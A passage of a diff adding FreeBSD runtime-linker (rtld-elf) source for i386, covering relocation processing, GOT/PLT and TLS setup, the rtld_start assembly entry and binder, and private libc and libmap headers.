const void *srcaddr;
|
||||||
|
const Elf_Sym *srcsym;
|
||||||
|
const Ver_Entry *ve;
|
||||||
|
Obj_Entry *srcobj;
|
||||||
|
|
||||||
|
dstaddr = (void *) (dstobj->relocbase + rel->r_offset);
|
||||||
|
dstsym = dstobj->symtab + ELF_R_SYM(rel->r_info);
|
||||||
|
name = dstobj->strtab + dstsym->st_name;
|
||||||
|
hash = elf_hash(name);
|
||||||
|
size = dstsym->st_size;
|
||||||
|
ve = fetch_ventry(dstobj, ELF_R_SYM(rel->r_info));
|
||||||
|
|
||||||
|
for (srcobj = dstobj->next; srcobj != NULL; srcobj = srcobj->next)
|
||||||
|
if ((srcsym = symlook_obj(name, hash, srcobj, ve, 0)) != NULL)
|
||||||
|
break;
|
||||||
|
|
||||||
|
if (srcobj == NULL) {
|
||||||
|
_rtld_error("Undefined symbol \"%s\" referenced from COPY"
|
||||||
|
" relocation in %s", name, dstobj->path);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
srcaddr = (const void *) (srcobj->relocbase + srcsym->st_value);
|
||||||
|
memcpy(dstaddr, srcaddr, size);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Initialize the special GOT entries. */
|
||||||
|
void
|
||||||
|
init_pltgot(Obj_Entry *obj)
|
||||||
|
{
|
||||||
|
if (obj->pltgot != NULL) {
|
||||||
|
obj->pltgot[1] = (Elf_Addr) obj;
|
||||||
|
obj->pltgot[2] = (Elf_Addr) &_rtld_bind_start;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Process the non-PLT relocations. */
|
||||||
|
int
|
||||||
|
reloc_non_plt(Obj_Entry *obj, Obj_Entry *obj_rtld)
|
||||||
|
{
|
||||||
|
const Elf_Rel *rellim;
|
||||||
|
const Elf_Rel *rel;
|
||||||
|
SymCache *cache;
|
||||||
|
int bytes = obj->nchains * sizeof(SymCache);
|
||||||
|
int r = -1;
|
||||||
|
|
||||||
|
/*
|
||||||
|
* The dynamic loader may be called from a thread, we have
|
||||||
|
* limited amounts of stack available so we cannot use alloca().
|
||||||
|
*/
|
||||||
|
cache = mmap(NULL, bytes, PROT_READ|PROT_WRITE, MAP_ANON, -1, 0);
|
||||||
|
if (cache == MAP_FAILED)
|
||||||
|
cache = NULL;
|
||||||
|
|
||||||
|
rellim = (const Elf_Rel *) ((caddr_t) obj->rel + obj->relsize);
|
||||||
|
for (rel = obj->rel; rel < rellim; rel++) {
|
||||||
|
Elf_Addr *where = (Elf_Addr *) (obj->relocbase + rel->r_offset);
|
||||||
|
|
||||||
|
switch (ELF_R_TYPE(rel->r_info)) {
|
||||||
|
|
||||||
|
case R_386_NONE:
|
||||||
|
break;
|
||||||
|
|
||||||
|
case R_386_32:
|
||||||
|
{
|
||||||
|
const Elf_Sym *def;
|
||||||
|
const Obj_Entry *defobj;
|
||||||
|
|
||||||
|
def = find_symdef(ELF_R_SYM(rel->r_info), obj, &defobj,
|
||||||
|
false, cache);
|
||||||
|
if (def == NULL) {
|
||||||
|
printf("lookup failed %d\n", rel->r_info);
|
||||||
|
goto done;
|
||||||
|
}
|
||||||
|
*where += (Elf_Addr) (defobj->relocbase + def->st_value);
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
|
||||||
|
case R_386_PC32:
|
||||||
|
/*
|
||||||
|
* I don't think the dynamic linker should ever see this
|
||||||
|
* type of relocation. But the binutils-2.6 tools sometimes
|
||||||
|
* generate it.
|
||||||
|
*/
|
||||||
|
{
|
||||||
|
const Elf_Sym *def;
|
||||||
|
const Obj_Entry *defobj;
|
||||||
|
|
||||||
|
def = find_symdef(ELF_R_SYM(rel->r_info), obj, &defobj,
|
||||||
|
false, cache);
|
||||||
|
if (def == NULL) {
|
||||||
|
printf("lookup failed %d\n", rel->r_info);
|
||||||
|
goto done;
|
||||||
|
}
|
||||||
|
if (def == NULL)
|
||||||
|
goto done;
|
||||||
|
|
||||||
|
*where +=
|
||||||
|
(Elf_Addr) (defobj->relocbase + def->st_value) -
|
||||||
|
(Elf_Addr) where;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
|
||||||
|
case R_386_COPY:
|
||||||
|
/*
|
||||||
|
* These are deferred until all other relocations have
|
||||||
|
* been done. All we do here is make sure that the COPY
|
||||||
|
* relocation is not in a shared library. They are allowed
|
||||||
|
* only in executable files.
|
||||||
|
*/
|
||||||
|
if (!obj->mainprog) {
|
||||||
|
_rtld_error("%s: Unexpected R_386_COPY relocation"
|
||||||
|
" in shared library", obj->path);
|
||||||
|
goto done;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
|
||||||
|
case R_386_GLOB_DAT:
|
||||||
|
{
|
||||||
|
const Elf_Sym *def;
|
||||||
|
const Obj_Entry *defobj;
|
||||||
|
|
||||||
|
def = find_symdef(ELF_R_SYM(rel->r_info), obj, &defobj,
|
||||||
|
false, cache);
|
||||||
|
if (def == NULL) {
|
||||||
|
printf("lookup failed %d\n", rel->r_info);
|
||||||
|
goto done;
|
||||||
|
}
|
||||||
|
if (def == NULL)
|
||||||
|
goto done;
|
||||||
|
|
||||||
|
*where = (Elf_Addr) (defobj->relocbase + def->st_value);
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
|
||||||
|
case R_386_RELATIVE:
|
||||||
|
*where += (Elf_Addr) obj->relocbase;
|
||||||
|
break;
|
||||||
|
|
||||||
|
case R_386_TLS_TPOFF:
|
||||||
|
{
|
||||||
|
const Elf_Sym *def;
|
||||||
|
const Obj_Entry *defobj;
|
||||||
|
|
||||||
|
def = find_symdef(ELF_R_SYM(rel->r_info), obj, &defobj,
|
||||||
|
false, cache);
|
||||||
|
if (def == NULL)
|
||||||
|
goto done;
|
||||||
|
|
||||||
|
/*
|
||||||
|
* We lazily allocate offsets for static TLS as we
|
||||||
|
* see the first relocation that references the
|
||||||
|
* TLS block. This allows us to support (small
|
||||||
|
* amounts of) static TLS in dynamically loaded
|
||||||
|
* modules. If we run out of space, we generate an
|
||||||
|
* error.
|
||||||
|
*/
|
||||||
|
if (!defobj->tls_done) {
|
||||||
|
if (!allocate_tls_offset((Obj_Entry*) defobj)) {
|
||||||
|
_rtld_error("%s: No space available for static "
|
||||||
|
"Thread Local Storage", obj->path);
|
||||||
|
goto done;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
*where += (Elf_Addr) (def->st_value - defobj->tlsoffset);
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
|
||||||
|
case R_386_TLS_DTPMOD32:
|
||||||
|
{
|
||||||
|
const Elf_Sym *def;
|
||||||
|
const Obj_Entry *defobj;
|
||||||
|
|
||||||
|
def = find_symdef(ELF_R_SYM(rel->r_info), obj, &defobj,
|
||||||
|
false, cache);
|
||||||
|
if (def == NULL) {
|
||||||
|
printf("lookup failed %d\n", rel->r_info);
|
||||||
|
goto done;
|
||||||
|
}
|
||||||
|
if (def == NULL)
|
||||||
|
goto done;
|
||||||
|
|
||||||
|
*where += (Elf_Addr) defobj->tlsindex;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
|
||||||
|
case R_386_TLS_DTPOFF32:
|
||||||
|
{
|
||||||
|
const Elf_Sym *def;
|
||||||
|
const Obj_Entry *defobj;
|
||||||
|
|
||||||
|
def = find_symdef(ELF_R_SYM(rel->r_info), obj, &defobj,
|
||||||
|
false, cache);
|
||||||
|
if (def == NULL) {
|
||||||
|
printf("lookup failed %d\n", rel->r_info);
|
||||||
|
goto done;
|
||||||
|
}
|
||||||
|
if (def == NULL)
|
||||||
|
goto done;
|
||||||
|
|
||||||
|
*where += (Elf_Addr) def->st_value;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
|
||||||
|
default:
|
||||||
|
_rtld_error("%s: Unsupported relocation type %d"
|
||||||
|
" in non-PLT relocations\n", obj->path,
|
||||||
|
ELF_R_TYPE(rel->r_info));
|
||||||
|
goto done;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
r = 0;
|
||||||
|
done:
|
||||||
|
if (cache)
|
||||||
|
munmap(cache, bytes);
|
||||||
|
return(r);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Process the PLT relocations. */
|
||||||
|
int
|
||||||
|
reloc_plt(Obj_Entry *obj)
|
||||||
|
{
|
||||||
|
const Elf_Rel *rellim;
|
||||||
|
const Elf_Rel *rel;
|
||||||
|
|
||||||
|
rellim = (const Elf_Rel *)((char *)obj->pltrel + obj->pltrelsize);
|
||||||
|
for (rel = obj->pltrel; rel < rellim; rel++) {
|
||||||
|
Elf_Addr *where;
|
||||||
|
|
||||||
|
assert(ELF_R_TYPE(rel->r_info) == R_386_JMP_SLOT);
|
||||||
|
|
||||||
|
/* Relocate the GOT slot pointing into the PLT. */
|
||||||
|
where = (Elf_Addr *)(obj->relocbase + rel->r_offset);
|
||||||
|
*where += (Elf_Addr)obj->relocbase;
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Relocate the jump slots in an object. */
|
||||||
|
int
|
||||||
|
reloc_jmpslots(Obj_Entry *obj)
|
||||||
|
{
|
||||||
|
const Elf_Rel *rellim;
|
||||||
|
const Elf_Rel *rel;
|
||||||
|
|
||||||
|
if (obj->jmpslots_done)
|
||||||
|
return 0;
|
||||||
|
rellim = (const Elf_Rel *)((char *)obj->pltrel + obj->pltrelsize);
|
||||||
|
for (rel = obj->pltrel; rel < rellim; rel++) {
|
||||||
|
Elf_Addr *where, target;
|
||||||
|
const Elf_Sym *def;
|
||||||
|
const Obj_Entry *defobj;
|
||||||
|
|
||||||
|
assert(ELF_R_TYPE(rel->r_info) == R_386_JMP_SLOT);
|
||||||
|
where = (Elf_Addr *)(obj->relocbase + rel->r_offset);
|
||||||
|
def = find_symdef(ELF_R_SYM(rel->r_info), obj, &defobj, true, NULL);
|
||||||
|
if (def == NULL)
|
||||||
|
return -1;
|
||||||
|
target = (Elf_Addr)(defobj->relocbase + def->st_value);
|
||||||
|
reloc_jmpslot(where, target, defobj, obj, rel);
|
||||||
|
}
|
||||||
|
obj->jmpslots_done = true;
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
void
|
||||||
|
allocate_initial_tls(Obj_Entry *objs)
|
||||||
|
{
|
||||||
|
void* tls;
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Fix the size of the static TLS block by using the maximum
|
||||||
|
* offset allocated so far and adding a bit for dynamic modules to
|
||||||
|
* use.
|
||||||
|
*/
|
||||||
|
tls_static_space = tls_last_offset + RTLD_STATIC_TLS_EXTRA;
|
||||||
|
tls = allocate_tls(objs, NULL, 3*sizeof(Elf_Addr), sizeof(Elf_Addr));
|
||||||
|
#ifndef __linux__
|
||||||
|
i386_set_gsbase(tls);
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
|
/* GNU ABI */
|
||||||
|
__attribute__((__regparm__(1)))
|
||||||
|
void *___tls_get_addr(tls_index *ti)
|
||||||
|
{
|
||||||
|
Elf_Addr** segbase;
|
||||||
|
Elf_Addr* dtv;
|
||||||
|
|
||||||
|
__asm __volatile("movl %%gs:0, %0" : "=r" (segbase));
|
||||||
|
dtv = segbase[1];
|
||||||
|
|
||||||
|
return tls_get_addr_common(&segbase[1], ti->ti_module, ti->ti_offset);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Sun ABI */
|
||||||
|
void *__tls_get_addr(tls_index *ti)
|
||||||
|
{
|
||||||
|
Elf_Addr** segbase;
|
||||||
|
Elf_Addr* dtv;
|
||||||
|
|
||||||
|
__asm __volatile("movl %%gs:0, %0" : "=r" (segbase));
|
||||||
|
dtv = segbase[1];
|
||||||
|
|
||||||
|
return tls_get_addr_common(&segbase[1], ti->ti_module, ti->ti_offset);
|
||||||
|
}
|
|
@ -0,0 +1,77 @@
|
||||||
|
/*-
|
||||||
|
* Copyright (c) 1999, 2000 John D. Polstra.
|
||||||
|
* All rights reserved.
|
||||||
|
*
|
||||||
|
* Redistribution and use in source and binary forms, with or without
|
||||||
|
* modification, are permitted provided that the following conditions
|
||||||
|
* are met:
|
||||||
|
* 1. Redistributions of source code must retain the above copyright
|
||||||
|
* notice, this list of conditions and the following disclaimer.
|
||||||
|
* 2. Redistributions in binary form must reproduce the above copyright
|
||||||
|
* notice, this list of conditions and the following disclaimer in the
|
||||||
|
* documentation and/or other materials provided with the distribution.
|
||||||
|
*
|
||||||
|
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
|
||||||
|
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||||
|
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||||
|
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
|
||||||
|
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||||
|
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||||
|
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||||
|
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||||
|
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||||
|
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||||
|
* SUCH DAMAGE.
|
||||||
|
*
|
||||||
|
* $FreeBSD: head/libexec/rtld-elf/i386/rtld_machdep.h 191291 2009-04-19 23:02:50Z rwatson $
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef RTLD_MACHDEP_H
|
||||||
|
#define RTLD_MACHDEP_H 1
|
||||||
|
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <machine/atomic.h>
|
||||||
|
|
||||||
|
struct Struct_Obj_Entry;
|
||||||
|
|
||||||
|
/* Return the address of the .dynamic section in the dynamic linker. */
|
||||||
|
#define rtld_dynamic(obj) \
|
||||||
|
((const Elf_Dyn *)((obj)->relocbase + (Elf_Addr)&_DYNAMIC))
|
||||||
|
|
||||||
|
/* Fixup the jump slot at "where" to transfer control to "target". */
|
||||||
|
static __inline Elf_Addr
|
||||||
|
reloc_jmpslot(Elf_Addr *where, Elf_Addr target,
|
||||||
|
const struct Struct_Obj_Entry *obj,
|
||||||
|
const struct Struct_Obj_Entry *refobj, const Elf_Rel *rel)
|
||||||
|
{
|
||||||
|
#ifdef dbg
|
||||||
|
dbg("reloc_jmpslot: *%p = %p", (void *)(where),
|
||||||
|
(void *)(target));
|
||||||
|
#endif
|
||||||
|
(*(Elf_Addr *)(where) = (Elf_Addr)(target));
|
||||||
|
return target;
|
||||||
|
}
|
||||||
|
|
||||||
|
#define make_function_pointer(def, defobj) \
|
||||||
|
((defobj)->relocbase + (def)->st_value)
|
||||||
|
|
||||||
|
#define call_initfini_pointer(obj, target) \
|
||||||
|
(((InitFunc)(target))())
|
||||||
|
|
||||||
|
#define round(size, align) \
|
||||||
|
(((size) + (align) - 1) & ~((align) - 1))
|
||||||
|
#define calculate_first_tls_offset(size, align) \
|
||||||
|
round(size, align)
|
||||||
|
#define calculate_tls_offset(prev_offset, prev_size, size, align) \
|
||||||
|
round((prev_offset) + (size), align)
|
||||||
|
#define calculate_tls_end(off, size) (off)
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
unsigned long ti_module;
|
||||||
|
unsigned long ti_offset;
|
||||||
|
} tls_index;
|
||||||
|
|
||||||
|
extern void *___tls_get_addr(tls_index *ti) __attribute__((__regparm__(1)));
|
||||||
|
extern void *__tls_get_addr(tls_index *ti);
|
||||||
|
|
||||||
|
#endif
|
|
@ -0,0 +1,92 @@
|
||||||
|
/*-
|
||||||
|
* Copyright 1996-1998 John D. Polstra.
|
||||||
|
* All rights reserved.
|
||||||
|
*
|
||||||
|
* Redistribution and use in source and binary forms, with or without
|
||||||
|
* modification, are permitted provided that the following conditions
|
||||||
|
* are met:
|
||||||
|
* 1. Redistributions of source code must retain the above copyright
|
||||||
|
* notice, this list of conditions and the following disclaimer.
|
||||||
|
* 2. Redistributions in binary form must reproduce the above copyright
|
||||||
|
* notice, this list of conditions and the following disclaimer in the
|
||||||
|
* documentation and/or other materials provided with the distribution.
|
||||||
|
*
|
||||||
|
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
|
||||||
|
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
|
||||||
|
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
|
||||||
|
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||||
|
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
|
||||||
|
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||||
|
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||||
|
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||||
|
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
|
||||||
|
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
*
|
||||||
|
* $FreeBSD: head/libexec/rtld-elf/i386/rtld_start.S 146370 2005-05-19 07:32:42Z dfr $
|
||||||
|
*/
|
||||||
|
|
||||||
|
.text
|
||||||
|
.align 4
|
||||||
|
.globl .rtld_start
|
||||||
|
.type .rtld_start,@function
|
||||||
|
.rtld_start:
|
||||||
|
xorl %ebp,%ebp # Clear frame pointer for good form
|
||||||
|
movl %esp,%eax # Save initial stack pointer
|
||||||
|
movl %esp,%esi # Save initial stack pointer
|
||||||
|
andl $0xfffffff0,%esp # Align stack pointer
|
||||||
|
subl $16,%esp # A place to store exit procedure addr
|
||||||
|
movl %esp,%ebx # save address of exit proc
|
||||||
|
movl %esp,%ecx # construct address of obj_main
|
||||||
|
addl $4,%ecx
|
||||||
|
subl $4,%esp # Keep stack aligned
|
||||||
|
pushl %ecx # Pass address of obj_main
|
||||||
|
pushl %ebx # Pass address of exit proc
|
||||||
|
pushl %eax # Pass initial stack pointer to rtld
|
||||||
|
call _rtld@PLT # Call rtld(sp); returns entry point
|
||||||
|
addl $16,%esp # Remove arguments from stack
|
||||||
|
popl %edx # Get exit procedure address
|
||||||
|
movl %esi,%esp # Ignore obj_main
|
||||||
|
/*
|
||||||
|
* At this point, %eax contains the entry point of the main program, and
|
||||||
|
* %edx contains a pointer to a termination function that should be
|
||||||
|
* registered with atexit(). (crt1.o registers it.)
|
||||||
|
*/
|
||||||
|
.globl .rtld_goto_main
|
||||||
|
.rtld_goto_main: # This symbol exists just to make debugging easier.
|
||||||
|
jmp *%eax # Enter main program
|
||||||
|
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Binder entry point. Control is transferred to here by code in the PLT.
|
||||||
|
* On entry, there are two arguments on the stack. In ascending address
|
||||||
|
* order, they are (1) "obj", a pointer to the calling object's Obj_Entry,
|
||||||
|
* and (2) "reloff", the byte offset of the appropriate relocation entry
|
||||||
|
* in the PLT relocation table.
|
||||||
|
*
|
||||||
|
* We are careful to preserve all registers, even the the caller-save
|
||||||
|
* registers. That is because this code may be invoked by low-level
|
||||||
|
* assembly-language code that is not ABI-compliant.
|
||||||
|
*/
|
||||||
|
.align 4
|
||||||
|
.globl _rtld_bind_start
|
||||||
|
.type _rtld_bind_start,@function
|
||||||
|
_rtld_bind_start:
|
||||||
|
pushf # Save eflags
|
||||||
|
pushl %eax # Save %eax
|
||||||
|
pushl %edx # Save %edx
|
||||||
|
pushl %ecx # Save %ecx
|
||||||
|
pushl 20(%esp) # Copy reloff argument
|
||||||
|
pushl 20(%esp) # Copy obj argument
|
||||||
|
|
||||||
|
# call _rtld_bind@PLT # Transfer control to the binder
|
||||||
|
call _rtld_bind # Transfer control to the binder
|
||||||
|
/* Now %eax contains the entry point of the function being called. */
|
||||||
|
|
||||||
|
addl $8,%esp # Discard binder arguments
|
||||||
|
movl %eax,20(%esp) # Store target over obj argument
|
||||||
|
popl %ecx # Restore %ecx
|
||||||
|
popl %edx # Restore %edx
|
||||||
|
popl %eax # Restore %eax
|
||||||
|
popf # Restore eflags
|
||||||
|
leal 4(%esp),%esp # Discard reloff, do not change eflags
|
||||||
|
ret # "Return" to target address
|
|
@ -0,0 +1,185 @@
|
||||||
|
/*
|
||||||
|
* Copyright (c) 1998 John Birrell <jb@cimlogic.com.au>.
|
||||||
|
* All rights reserved.
|
||||||
|
*
|
||||||
|
* Redistribution and use in source and binary forms, with or without
|
||||||
|
* modification, are permitted provided that the following conditions
|
||||||
|
* are met:
|
||||||
|
* 1. Redistributions of source code must retain the above copyright
|
||||||
|
* notice, this list of conditions and the following disclaimer.
|
||||||
|
* 2. Redistributions in binary form must reproduce the above copyright
|
||||||
|
* notice, this list of conditions and the following disclaimer in the
|
||||||
|
* documentation and/or other materials provided with the distribution.
|
||||||
|
* 3. Neither the name of the author nor the names of any co-contributors
|
||||||
|
* may be used to endorse or promote products derived from this software
|
||||||
|
* without specific prior written permission.
|
||||||
|
*
|
||||||
|
* THIS SOFTWARE IS PROVIDED BY JOHN BIRRELL AND CONTRIBUTORS ``AS IS'' AND
|
||||||
|
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||||
|
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||||
|
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||||
|
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||||
|
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||||
|
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||||
|
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||||
|
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||||
|
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||||
|
* SUCH DAMAGE.
|
||||||
|
*
|
||||||
|
* $FreeBSD: head/lib/libc/include/libc_private.h 182225 2008-08-27 02:00:53Z jasone $
|
||||||
|
*
|
||||||
|
* Private definitions for libc, libc_r and libpthread.
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef _LIBC_PRIVATE_H_
|
||||||
|
#define _LIBC_PRIVATE_H_
|
||||||
|
|
||||||
|
/*
|
||||||
|
* This global flag is non-zero when a process has created one
|
||||||
|
* or more threads. It is used to avoid calling locking functions
|
||||||
|
* when they are not required.
|
||||||
|
*/
|
||||||
|
extern int __isthreaded;
|
||||||
|
|
||||||
|
/*
|
||||||
|
* File lock contention is difficult to diagnose without knowing
|
||||||
|
* where locks were set. Allow a debug library to be built which
|
||||||
|
* records the source file and line number of each lock call.
|
||||||
|
*/
|
||||||
|
#ifdef _FLOCK_DEBUG
|
||||||
|
#define _FLOCKFILE(x) _flockfile_debug(x, __FILE__, __LINE__)
|
||||||
|
#else
|
||||||
|
#define _FLOCKFILE(x) _flockfile(x)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Macros for locking and unlocking FILEs. These test if the
|
||||||
|
* process is threaded to avoid locking when not required.
|
||||||
|
*/
|
||||||
|
#define FLOCKFILE(fp) if (__isthreaded) _FLOCKFILE(fp)
|
||||||
|
#define FUNLOCKFILE(fp) if (__isthreaded) _funlockfile(fp)
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Indexes into the pthread jump table.
|
||||||
|
*
|
||||||
|
* Warning! If you change this type, you must also change the threads
|
||||||
|
* libraries that reference it (libc_r, libpthread).
|
||||||
|
*/
|
||||||
|
typedef enum {
|
||||||
|
PJT_ATFORK,
|
||||||
|
PJT_ATTR_DESTROY,
|
||||||
|
PJT_ATTR_GETDETACHSTATE,
|
||||||
|
PJT_ATTR_GETGUARDSIZE,
|
||||||
|
PJT_ATTR_GETINHERITSCHED,
|
||||||
|
PJT_ATTR_GETSCHEDPARAM,
|
||||||
|
PJT_ATTR_GETSCHEDPOLICY,
|
||||||
|
PJT_ATTR_GETSCOPE,
|
||||||
|
PJT_ATTR_GETSTACKADDR,
|
||||||
|
PJT_ATTR_GETSTACKSIZE,
|
||||||
|
PJT_ATTR_INIT,
|
||||||
|
PJT_ATTR_SETDETACHSTATE,
|
||||||
|
PJT_ATTR_SETGUARDSIZE,
|
||||||
|
PJT_ATTR_SETINHERITSCHED,
|
||||||
|
PJT_ATTR_SETSCHEDPARAM,
|
||||||
|
PJT_ATTR_SETSCHEDPOLICY,
|
||||||
|
PJT_ATTR_SETSCOPE,
|
||||||
|
PJT_ATTR_SETSTACKADDR,
|
||||||
|
PJT_ATTR_SETSTACKSIZE,
|
||||||
|
PJT_CANCEL,
|
||||||
|
PJT_CLEANUP_POP,
|
||||||
|
PJT_CLEANUP_PUSH,
|
||||||
|
PJT_COND_BROADCAST,
|
||||||
|
PJT_COND_DESTROY,
|
||||||
|
PJT_COND_INIT,
|
||||||
|
PJT_COND_SIGNAL,
|
||||||
|
PJT_COND_TIMEDWAIT,
|
||||||
|
PJT_COND_WAIT,
|
||||||
|
PJT_DETACH,
|
||||||
|
PJT_EQUAL,
|
||||||
|
PJT_EXIT,
|
||||||
|
PJT_GETSPECIFIC,
|
||||||
|
PJT_JOIN,
|
||||||
|
PJT_KEY_CREATE,
|
||||||
|
PJT_KEY_DELETE,
|
||||||
|
PJT_KILL,
|
||||||
|
PJT_MAIN_NP,
|
||||||
|
PJT_MUTEXATTR_DESTROY,
|
||||||
|
PJT_MUTEXATTR_INIT,
|
||||||
|
PJT_MUTEXATTR_SETTYPE,
|
||||||
|
PJT_MUTEX_DESTROY,
|
||||||
|
PJT_MUTEX_INIT,
|
||||||
|
PJT_MUTEX_LOCK,
|
||||||
|
PJT_MUTEX_TRYLOCK,
|
||||||
|
PJT_MUTEX_UNLOCK,
|
||||||
|
PJT_ONCE,
|
||||||
|
PJT_RWLOCK_DESTROY,
|
||||||
|
PJT_RWLOCK_INIT,
|
||||||
|
PJT_RWLOCK_RDLOCK,
|
||||||
|
PJT_RWLOCK_TRYRDLOCK,
|
||||||
|
PJT_RWLOCK_TRYWRLOCK,
|
||||||
|
PJT_RWLOCK_UNLOCK,
|
||||||
|
PJT_RWLOCK_WRLOCK,
|
||||||
|
PJT_SELF,
|
||||||
|
PJT_SETCANCELSTATE,
|
||||||
|
PJT_SETCANCELTYPE,
|
||||||
|
PJT_SETSPECIFIC,
|
||||||
|
PJT_SIGMASK,
|
||||||
|
PJT_TESTCANCEL,
|
||||||
|
PJT_MAX
|
||||||
|
} pjt_index_t;
|
||||||
|
|
||||||
|
typedef int (*pthread_func_t)(void);
|
||||||
|
typedef pthread_func_t pthread_func_entry_t[2];
|
||||||
|
|
||||||
|
extern pthread_func_entry_t __thr_jtable[];
|
||||||
|
|
||||||
|
/*
|
||||||
|
* yplib internal interfaces
|
||||||
|
*/
|
||||||
|
#ifdef YP
|
||||||
|
int _yp_check(char **);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Initialise TLS for static programs
|
||||||
|
*/
|
||||||
|
void _init_tls(void);
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Set the TLS thread pointer
|
||||||
|
*/
|
||||||
|
void _set_tp(void *tp);
|
||||||
|
|
||||||
|
/*
|
||||||
|
* This is a pointer in the C run-time startup code. It is used
|
||||||
|
* by getprogname() and setprogname().
|
||||||
|
*/
|
||||||
|
extern const char *__progname;
|
||||||
|
|
||||||
|
/*
|
||||||
|
* This function is used by the threading libraries to notify malloc that a
|
||||||
|
* thread is exiting.
|
||||||
|
*/
|
||||||
|
void _malloc_thread_cleanup(void);
|
||||||
|
|
||||||
|
/*
|
||||||
|
* These functions are used by the threading libraries in order to protect
|
||||||
|
* malloc across fork().
|
||||||
|
*/
|
||||||
|
void _malloc_prefork(void);
|
||||||
|
void _malloc_postfork(void);
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Function to clean up streams, called from abort() and exit().
|
||||||
|
*/
|
||||||
|
extern void (*__cleanup)(void);
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Get kern.osreldate to detect ABI revisions. Explicitly
|
||||||
|
* ignores value of $OSVERSION and caches result. Prototypes
|
||||||
|
* for the wrapped "new" pad-less syscalls are here for now.
|
||||||
|
*/
|
||||||
|
extern int __getosreldate(void);
|
||||||
|
|
||||||
|
#endif /* _LIBC_PRIVATE_H_ */
|
|
@ -0,0 +1,10 @@
|
||||||
|
/*
|
||||||
|
* $FreeBSD: head/libexec/rtld-elf/libmap.h 141232 2005-02-04 02:46:41Z mdodd $
|
||||||
|
*/
|
||||||
|
|
||||||
|
int lm_init (char *);
|
||||||
|
void lm_fini (void);
|
||||||
|
char * lm_find (const char *, const char *);
|
||||||
|
